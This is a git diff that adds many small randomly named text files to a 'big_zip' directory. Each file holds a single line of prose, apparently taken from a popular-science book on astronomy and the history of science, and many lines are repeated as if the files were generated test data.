diff --git a/big_zip/big-zip-files/folder_nkaoakqizc/ogajbrlvzqtzbdsmphf.txt b/big_zip/big-zip-files/folder_nkaoakqizc/ogajbrlvzqtzbdsmphf.txt
new file mode 100644
index 0000000..bad1f36
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkaoakqizc/ogajbrlvzqtzbdsmphf.txt
@@ -0,0 +1 @@
+scientific world view works so well, explains so much and resonates so harmoniously with
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkaoakqizc/qglvuhoctee.txt b/big_zip/big-zip-files/folder_nkaoakqizc/qglvuhoctee.txt
new file mode 100644
index 0000000..62d681b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkaoakqizc/qglvuhoctee.txt
@@ -0,0 +1 @@
+represent only one of an infinite range of possible natural laws. It is easy to see that only a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkaoakqizc/qkeqgoblmulrvc.txt b/big_zip/big-zip-files/folder_nkaoakqizc/qkeqgoblmulrvc.txt
new file mode 100644
index 0000000..302f2ae
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkaoakqizc/qkeqgoblmulrvc.txt
@@ -0,0 +1 @@
+One of the main commodities returned on those voyages of centuries ago were
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkaoakqizc/sudcqgejahxknrxbnpvda.txt b/big_zip/big-zip-files/folder_nkaoakqizc/sudcqgejahxknrxbnpvda.txt
new file mode 100644
index 0000000..934058b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkaoakqizc/sudcqgejahxknrxbnpvda.txt
@@ -0,0 +1 @@
+conceive how they might have any commerce with them, being severed by the deep
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkaoakqizc/supqbkoo.txt b/big_zip/big-zip-files/folder_nkaoakqizc/supqbkoo.txt
new file mode 100644
index 0000000..5093dcb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkaoakqizc/supqbkoo.txt
@@ -0,0 +1 @@
+fewer understood him, that ofttimes he did in a manner, for want of hearers, read to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkaoakqizc/vtmvmsngnvrrw.txt b/big_zip/big-zip-files/folder_nkaoakqizc/vtmvmsngnvrrw.txt
new file mode 100644
index 0000000..846a820
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkaoakqizc/vtmvmsngnvrrw.txt
@@ -0,0 +1 @@
+p 2 = 2q 2 .
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkaoakqizc/xvvjqoxsnctjxnwybuallxkk.txt b/big_zip/big-zip-files/folder_nkaoakqizc/xvvjqoxsnctjxnwybuallxkk.txt
new file mode 100644
index 0000000..81434c2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkaoakqizc/xvvjqoxsnctjxnwybuallxkk.txt
@@ -0,0 +1 @@
+turn the arc of heaven and the round face of the earth . . . [Then the Creator said]:
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkcavztkwb/bjwqjuferuzkqmltqzxrafq.txt b/big_zip/big-zip-files/folder_nkcavztkwb/bjwqjuferuzkqmltqzxrafq.txt
new file mode 100644
index 0000000..de5c9c6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkcavztkwb/bjwqjuferuzkqmltqzxrafq.txt
@@ -0,0 +1 @@
+For if the firmament be of such an incomparable bigness, as these Copernical giants
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkcavztkwb/bmztmxphhmclgzupcxinkrre.txt b/big_zip/big-zip-files/folder_nkcavztkwb/bmztmxphhmclgzupcxinkrre.txt
new file mode 100644
index 0000000..8efbefd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkcavztkwb/bmztmxphhmclgzupcxinkrre.txt
@@ -0,0 +1 @@
+we can write p = 2s, where s is some other integer. Substituting for p in Equation (1), we
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkcavztkwb/cvabtjqyekbhi.txt b/big_zip/big-zip-files/folder_nkcavztkwb/cvabtjqyekbhi.txt
new file mode 100644
index 0000000..a458a18
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkcavztkwb/cvabtjqyekbhi.txt
@@ -0,0 +1 @@
+full-term infant as Viking took on its trip to Mars. The normal human lifetime is longer than Voyager will
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkcavztkwb/file_aebvxwtnlkitdttixocapu.txt b/big_zip/big-zip-files/folder_nkcavztkwb/file_aebvxwtnlkitdttixocapu.txt
new file mode 100644
index 0000000..384f3b1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkcavztkwb/file_aebvxwtnlkitdttixocapu.txt
@@ -0,0 +1 @@
+false, and contrary to our Supposition, would, like a bad Foundation, ruin the whole
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkcavztkwb/file_bovwyrylqchqjkcsdan.txt b/big_zip/big-zip-files/folder_nkcavztkwb/file_bovwyrylqchqjkcsdan.txt
new file mode 100644
index 0000000..384f3b1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkcavztkwb/file_bovwyrylqchqjkcsdan.txt
@@ -0,0 +1 @@
+false, and contrary to our Supposition, would, like a bad Foundation, ruin the whole
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkcavztkwb/file_cbyrzsaughydy.txt b/big_zip/big-zip-files/folder_nkcavztkwb/file_cbyrzsaughydy.txt
new file mode 100644
index 0000000..384f3b1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkcavztkwb/file_cbyrzsaughydy.txt
@@ -0,0 +1 @@
+false, and contrary to our Supposition, would, like a bad Foundation, ruin the whole
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkcavztkwb/file_dzwxnakggwhewk.txt b/big_zip/big-zip-files/folder_nkcavztkwb/file_dzwxnakggwhewk.txt
new file mode 100644
index 0000000..384f3b1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkcavztkwb/file_dzwxnakggwhewk.txt
@@ -0,0 +1 @@
+false, and contrary to our Supposition, would, like a bad Foundation, ruin the whole
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkcavztkwb/file_ewkotnflbio.txt b/big_zip/big-zip-files/folder_nkcavztkwb/file_ewkotnflbio.txt
new file mode 100644
index 0000000..384f3b1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkcavztkwb/file_ewkotnflbio.txt
@@ -0,0 +1 @@
+false, and contrary to our Supposition, would, like a bad Foundation, ruin the whole
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkcavztkwb/file_hgqhyjlimyqkvhkzdvza.txt b/big_zip/big-zip-files/folder_nkcavztkwb/file_hgqhyjlimyqkvhkzdvza.txt
new file mode 100644
index 0000000..384f3b1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkcavztkwb/file_hgqhyjlimyqkvhkzdvza.txt
@@ -0,0 +1 @@
+false, and contrary to our Supposition, would, like a bad Foundation, ruin the whole
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkcavztkwb/file_mxrcncek.txt b/big_zip/big-zip-files/folder_nkcavztkwb/file_mxrcncek.txt
new file mode 100644
index 0000000..384f3b1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkcavztkwb/file_mxrcncek.txt
@@ -0,0 +1 @@
+false, and contrary to our Supposition, would, like a bad Foundation, ruin the whole
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkcavztkwb/file_plrkqgaxviblvevciajwhuae.txt b/big_zip/big-zip-files/folder_nkcavztkwb/file_plrkqgaxviblvevciajwhuae.txt
new file mode 100644
index 0000000..384f3b1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkcavztkwb/file_plrkqgaxviblvevciajwhuae.txt
@@ -0,0 +1 @@
+false, and contrary to our Supposition, would, like a bad Foundation, ruin the whole
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkcavztkwb/file_rmaqpkaynrtznphfous.txt b/big_zip/big-zip-files/folder_nkcavztkwb/file_rmaqpkaynrtznphfous.txt
new file mode 100644
index 0000000..384f3b1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkcavztkwb/file_rmaqpkaynrtznphfous.txt
@@ -0,0 +1 @@
+false, and contrary to our Supposition, would, like a bad Foundation, ruin the whole
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkcavztkwb/file_rtzmxhjhmrgku.txt b/big_zip/big-zip-files/folder_nkcavztkwb/file_rtzmxhjhmrgku.txt
new file mode 100644
index 0000000..384f3b1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkcavztkwb/file_rtzmxhjhmrgku.txt
@@ -0,0 +1 @@
+false, and contrary to our Supposition, would, like a bad Foundation, ruin the whole
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkcavztkwb/file_smvqmtbgdqrviwzq.txt b/big_zip/big-zip-files/folder_nkcavztkwb/file_smvqmtbgdqrviwzq.txt
new file mode 100644
index 0000000..384f3b1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkcavztkwb/file_smvqmtbgdqrviwzq.txt
@@ -0,0 +1 @@
+false, and contrary to our Supposition, would, like a bad Foundation, ruin the whole
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkcavztkwb/file_wmfloecalykjahcn.txt b/big_zip/big-zip-files/folder_nkcavztkwb/file_wmfloecalykjahcn.txt
new file mode 100644
index 0000000..384f3b1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkcavztkwb/file_wmfloecalykjahcn.txt
@@ -0,0 +1 @@
+false, and contrary to our Supposition, would, like a bad Foundation, ruin the whole
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkcavztkwb/file_wqzksywzajdwrcijdhn.txt b/big_zip/big-zip-files/folder_nkcavztkwb/file_wqzksywzajdwrcijdhn.txt
new file mode 100644
index 0000000..384f3b1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkcavztkwb/file_wqzksywzajdwrcijdhn.txt
@@ -0,0 +1 @@
+false, and contrary to our Supposition, would, like a bad Foundation, ruin the whole
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkcavztkwb/file_wrektqiaaivcih.txt b/big_zip/big-zip-files/folder_nkcavztkwb/file_wrektqiaaivcih.txt
new file mode 100644
index 0000000..384f3b1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkcavztkwb/file_wrektqiaaivcih.txt
@@ -0,0 +1 @@
+false, and contrary to our Supposition, would, like a bad Foundation, ruin the whole
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkcavztkwb/gdsjwwhnaknibnld.txt b/big_zip/big-zip-files/folder_nkcavztkwb/gdsjwwhnaknibnld.txt
new file mode 100644
index 0000000..5f84949
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkcavztkwb/gdsjwwhnaknibnld.txt
@@ -0,0 +1 @@
+evolution as revealed by the science of our time. We are difficult to come by and a danger
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkcavztkwb/gpwiukla.txt b/big_zip/big-zip-files/folder_nkcavztkwb/gpwiukla.txt
new file mode 100644
index 0000000..86dab1e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkcavztkwb/gpwiukla.txt
@@ -0,0 +1 @@
+for human affairs. So the idea arose that comets were harbingers of disaster, auguries of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkcavztkwb/hhameptzoguvg.txt b/big_zip/big-zip-files/folder_nkcavztkwb/hhameptzoguvg.txt
new file mode 100644
index 0000000..59f8c3f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkcavztkwb/hhameptzoguvg.txt
@@ -0,0 +1 @@
+of the Planets of equal dignity and honor with the rest, who would venture to say,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkcavztkwb/iezfudenqyjlvksajacvzttv.txt b/big_zip/big-zip-files/folder_nkcavztkwb/iezfudenqyjlvksajacvzttv.txt
new file mode 100644
index 0000000..957c20a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkcavztkwb/iezfudenqyjlvksajacvzttv.txt
@@ -0,0 +1 @@
+account:
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkcavztkwb/igwureykjdnuetybl.txt b/big_zip/big-zip-files/folder_nkcavztkwb/igwureykjdnuetybl.txt
new file mode 100644
index 0000000..707ca67
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkcavztkwb/igwureykjdnuetybl.txt
@@ -0,0 +1 @@
+should our experience at 10 kilometers an hour constrain the laws of nature at 300,000
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkcavztkwb/iqgwttzovyjnxmc.txt b/big_zip/big-zip-files/folder_nkcavztkwb/iqgwttzovyjnxmc.txt
new file mode 100644
index 0000000..0c3b144
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkcavztkwb/iqgwttzovyjnxmc.txt
@@ -0,0 +1 @@
+will have it . . . , so vast and full of innumerable stars, as being infinite in extent . . .
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkcavztkwb/jiftbaectrhzmahoirqrct.txt b/big_zip/big-zip-files/folder_nkcavztkwb/jiftbaectrhzmahoirqrct.txt
new file mode 100644
index 0000000..d721860
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkcavztkwb/jiftbaectrhzmahoirqrct.txt
@@ -0,0 +1 @@
+The protons have a positive charge and the electrons an equal negative charge. The
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkcavztkwb/kqfndqyzklj.txt b/big_zip/big-zip-files/folder_nkcavztkwb/kqfndqyzklj.txt
new file mode 100644
index 0000000..35f6510
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkcavztkwb/kqfndqyzklj.txt
@@ -0,0 +1 @@
+should see the Planets like our Earth.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkcavztkwb/lfiqtkbsghmfmukoxwwsq.txt b/big_zip/big-zip-files/folder_nkcavztkwb/lfiqtkbsghmfmukoxwwsq.txt
new file mode 100644
index 0000000..dc8de1c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkcavztkwb/lfiqtkbsghmfmukoxwwsq.txt
@@ -0,0 +1 @@
+civilization as one capable of radio astronomy. This is, of course, a parochial if essential
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkcavztkwb/mdifljthltmxkwsoioajte.txt b/big_zip/big-zip-files/folder_nkcavztkwb/mdifljthltmxkwsoioajte.txt
new file mode 100644
index 0000000..fb6670d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkcavztkwb/mdifljthltmxkwsoioajte.txt
@@ -0,0 +1 @@
+power. Polycrates’ fortifications were built by slaves. Athens in the time of Pericles, Plato
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkcavztkwb/mueswulcakhibt.txt b/big_zip/big-zip-files/folder_nkcavztkwb/mueswulcakhibt.txt
new file mode 100644
index 0000000..2a6787f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkcavztkwb/mueswulcakhibt.txt
@@ -0,0 +1 @@
+nation of its time the European Enlightenment. It was a rational, orderly, creative society.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkcavztkwb/rqtmbcmdervw.txt b/big_zip/big-zip-files/folder_nkcavztkwb/rqtmbcmdervw.txt
new file mode 100644
index 0000000..50b959c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkcavztkwb/rqtmbcmdervw.txt
@@ -0,0 +1 @@
+reflected sunlight, ‘and they are much mistaken who remove them almost as far as the fixed
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkcavztkwb/tinnldilwrinnsobzbi.txt b/big_zip/big-zip-files/folder_nkcavztkwb/tinnldilwrinnsobzbi.txt
new file mode 100644
index 0000000..aa78100
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkcavztkwb/tinnldilwrinnsobzbi.txt
@@ -0,0 +1 @@
+playing Chinese handball, among which the brick exterior of a theater called the Loew’s
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkcavztkwb/vivgfrwotyytqzq.txt b/big_zip/big-zip-files/folder_nkcavztkwb/vivgfrwotyytqzq.txt
new file mode 100644
index 0000000..ddbb0e1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkcavztkwb/vivgfrwotyytqzq.txt
@@ -0,0 +1 @@
+* The word cosmopolitan was first invented by Diogenes, the rationalist philosopher and critic of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkcavztkwb/vvuubmmlgvkyz.txt b/big_zip/big-zip-files/folder_nkcavztkwb/vvuubmmlgvkyz.txt
new file mode 100644
index 0000000..8a575f0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkcavztkwb/vvuubmmlgvkyz.txt
@@ -0,0 +1 @@
+We have come far in 3.6 million years, and in 4.6 billion and in 15 billion.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkcavztkwb/xgmsfyjzaojzqov.txt b/big_zip/big-zip-files/folder_nkcavztkwb/xgmsfyjzaojzqov.txt
new file mode 100644
index 0000000..2af7f7a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkcavztkwb/xgmsfyjzaojzqov.txt
@@ -0,0 +1 @@
+covered with spines. Some descendants of these fishes eventually abandoned the water and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkcavztkwb/xknqdvgmlsrh.txt b/big_zip/big-zip-files/folder_nkcavztkwb/xknqdvgmlsrh.txt
new file mode 100644
index 0000000..b06860f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkcavztkwb/xknqdvgmlsrh.txt
@@ -0,0 +1 @@
+Reckoner are: ‘There are some, King Gelon, who think that the number of the sand is infinite in multitude:
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkcavztkwb/ycmmoidwakhgutcxihgbyqi.txt b/big_zip/big-zip-files/folder_nkcavztkwb/ycmmoidwakhgutcxihgbyqi.txt
new file mode 100644
index 0000000..2c4b3fd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkcavztkwb/ycmmoidwakhgutcxihgbyqi.txt
@@ -0,0 +1 @@
+beast or vegetable on Earth is written in a language of four letters - the four different kinds
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nkcavztkwb/ysioyuwwbxqhudh.txt b/big_zip/big-zip-files/folder_nkcavztkwb/ysioyuwwbxqhudh.txt
new file mode 100644
index 0000000..4c06718
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nkcavztkwb/ysioyuwwbxqhudh.txt
@@ -0,0 +1 @@
+Eratosthenes says that if the extent of the Atlantic Ocean were not an obstacle, we
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nqbpooukfd/file_aibjwszyjnvld.txt b/big_zip/big-zip-files/folder_nqbpooukfd/file_aibjwszyjnvld.txt
new file mode 100644
index 0000000..2b1b774
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nqbpooukfd/file_aibjwszyjnvld.txt
@@ -0,0 +1 @@
+Heaven and Hell
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nqbpooukfd/file_bpttodgfiaa.txt b/big_zip/big-zip-files/folder_nqbpooukfd/file_bpttodgfiaa.txt
new file mode 100644
index 0000000..2b1b774
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nqbpooukfd/file_bpttodgfiaa.txt
@@ -0,0 +1 @@
+Heaven and Hell
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nqbpooukfd/file_dmrvmgbqszpfbigmzjgk.txt b/big_zip/big-zip-files/folder_nqbpooukfd/file_dmrvmgbqszpfbigmzjgk.txt
new file mode 100644
index 0000000..2b1b774
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nqbpooukfd/file_dmrvmgbqszpfbigmzjgk.txt
@@ -0,0 +1 @@
+Heaven and Hell
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nqbpooukfd/file_gbqlxrmbszhrhxg.txt b/big_zip/big-zip-files/folder_nqbpooukfd/file_gbqlxrmbszhrhxg.txt
new file mode 100644
index 0000000..2b1b774
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nqbpooukfd/file_gbqlxrmbszhrhxg.txt
@@ -0,0 +1 @@
+Heaven and Hell
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nqbpooukfd/file_hrnueplfteklhb.txt b/big_zip/big-zip-files/folder_nqbpooukfd/file_hrnueplfteklhb.txt
new file mode 100644
index 0000000..2b1b774
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nqbpooukfd/file_hrnueplfteklhb.txt
@@ -0,0 +1 @@
+Heaven and Hell
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nqbpooukfd/file_iulyfgbo.txt b/big_zip/big-zip-files/folder_nqbpooukfd/file_iulyfgbo.txt
new file mode 100644
index 0000000..2b1b774
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nqbpooukfd/file_iulyfgbo.txt
@@ -0,0 +1 @@
+Heaven and Hell
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nqbpooukfd/file_jkwlncyxfnmltpcpepplg.txt b/big_zip/big-zip-files/folder_nqbpooukfd/file_jkwlncyxfnmltpcpepplg.txt
new file mode 100644
index 0000000..2b1b774
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nqbpooukfd/file_jkwlncyxfnmltpcpepplg.txt
@@ -0,0 +1 @@
+Heaven and Hell
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nqbpooukfd/file_jpgdragvkfdegztf.txt b/big_zip/big-zip-files/folder_nqbpooukfd/file_jpgdragvkfdegztf.txt
new file mode 100644
index 0000000..2b1b774
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nqbpooukfd/file_jpgdragvkfdegztf.txt
@@ -0,0 +1 @@
+Heaven and Hell
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nqbpooukfd/file_jswkmbic.txt b/big_zip/big-zip-files/folder_nqbpooukfd/file_jswkmbic.txt
new file mode 100644
index 0000000..2b1b774
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nqbpooukfd/file_jswkmbic.txt
@@ -0,0 +1 @@
+Heaven and Hell
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nqbpooukfd/file_jwedslgudafpzoytjod.txt b/big_zip/big-zip-files/folder_nqbpooukfd/file_jwedslgudafpzoytjod.txt
new file mode 100644
index 0000000..2b1b774
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nqbpooukfd/file_jwedslgudafpzoytjod.txt
@@ -0,0 +1 @@
+Heaven and Hell
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nqbpooukfd/file_kppyggzmiu.txt b/big_zip/big-zip-files/folder_nqbpooukfd/file_kppyggzmiu.txt
new file mode 100644
index 0000000..2b1b774
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nqbpooukfd/file_kppyggzmiu.txt
@@ -0,0 +1 @@
+Heaven and Hell
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nqbpooukfd/file_mlzstdapenwbse.txt b/big_zip/big-zip-files/folder_nqbpooukfd/file_mlzstdapenwbse.txt
new file mode 100644
index 0000000..2b1b774
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nqbpooukfd/file_mlzstdapenwbse.txt
@@ -0,0 +1 @@
+Heaven and Hell
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nqbpooukfd/file_ntsohyjrmdtu.txt b/big_zip/big-zip-files/folder_nqbpooukfd/file_ntsohyjrmdtu.txt
new file mode 100644
index 0000000..2b1b774
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nqbpooukfd/file_ntsohyjrmdtu.txt
@@ -0,0 +1 @@
+Heaven and Hell
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nqbpooukfd/file_odiibwnkhqt.txt b/big_zip/big-zip-files/folder_nqbpooukfd/file_odiibwnkhqt.txt
new file mode 100644
index 0000000..2b1b774
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nqbpooukfd/file_odiibwnkhqt.txt
@@ -0,0 +1 @@
+Heaven and Hell
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nqbpooukfd/file_tadujgtsipmajwmxijyp.txt b/big_zip/big-zip-files/folder_nqbpooukfd/file_tadujgtsipmajwmxijyp.txt
new file mode 100644
index 0000000..2b1b774
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nqbpooukfd/file_tadujgtsipmajwmxijyp.txt
@@ -0,0 +1 @@
+Heaven and Hell
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nqbpooukfd/file_vetgkrqdtbizv.txt b/big_zip/big-zip-files/folder_nqbpooukfd/file_vetgkrqdtbizv.txt
new file mode 100644
index 0000000..2b1b774
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nqbpooukfd/file_vetgkrqdtbizv.txt
@@ -0,0 +1 @@
+Heaven and Hell
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nqbpooukfd/file_yhfesezmpdnsaesjuxsgty.txt b/big_zip/big-zip-files/folder_nqbpooukfd/file_yhfesezmpdnsaesjuxsgty.txt
new file mode 100644
index 0000000..2b1b774
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nqbpooukfd/file_yhfesezmpdnsaesjuxsgty.txt
@@ -0,0 +1 @@
+Heaven and Hell
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nqbpooukfd/file_ymvttkodjfpcpdukn.txt b/big_zip/big-zip-files/folder_nqbpooukfd/file_ymvttkodjfpcpdukn.txt
new file mode 100644
index 0000000..2b1b774
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nqbpooukfd/file_ymvttkodjfpcpdukn.txt
@@ -0,0 +1 @@
+Heaven and Hell
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nqbpooukfd/file_zeetzmsoovfj.txt b/big_zip/big-zip-files/folder_nqbpooukfd/file_zeetzmsoovfj.txt
new file mode 100644
index 0000000..2b1b774
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nqbpooukfd/file_zeetzmsoovfj.txt
@@ -0,0 +1 @@
+Heaven and Hell
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nqbpooukfd/file_zgqkkzginehkrwquoobgboqu.txt b/big_zip/big-zip-files/folder_nqbpooukfd/file_zgqkkzginehkrwquoobgboqu.txt
new file mode 100644
index 0000000..2b1b774
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nqbpooukfd/file_zgqkkzginehkrwquoobgboqu.txt
@@ -0,0 +1 @@
+Heaven and Hell
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/aphdlwlla.txt b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/aphdlwlla.txt
new file mode 100644
index 0000000..f43b99a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/aphdlwlla.txt
@@ -0,0 +1 @@
+Each, I believe, is a necessary condition for the other. But our energies are directed far
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/bcqeiufyfjpiz.txt b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/bcqeiufyfjpiz.txt
new file mode 100644
index 0000000..6e6e34f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/bcqeiufyfjpiz.txt
@@ -0,0 +1 @@
+the existence of black holes in space. The Earth’s atmosphere is opaque to X-rays. To
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/blpmvtoapfhpukjyhlg.txt b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/blpmvtoapfhpukjyhlg.txt
new file mode 100644
index 0000000..29621c8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/blpmvtoapfhpukjyhlg.txt
@@ -0,0 +1 @@
+40 million degrees.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/file_advvkpepvgm.txt b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/file_advvkpepvgm.txt
new file mode 100644
index 0000000..7ce51f2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/file_advvkpepvgm.txt
@@ -0,0 +1 @@
+waves; or some other kind of transmission that we will not discover for a thousand years.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/file_bejffjoanuetmjwtsxhe.txt b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/file_bejffjoanuetmjwtsxhe.txt
new file mode 100644
index 0000000..7ce51f2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/file_bejffjoanuetmjwtsxhe.txt
@@ -0,0 +1 @@
+waves; or some other kind of transmission that we will not discover for a thousand years.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/file_deznabvc.txt b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/file_deznabvc.txt
new file mode 100644
index 0000000..7ce51f2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/file_deznabvc.txt
@@ -0,0 +1 @@
+waves; or some other kind of transmission that we will not discover for a thousand years.
\ No newline at end of file
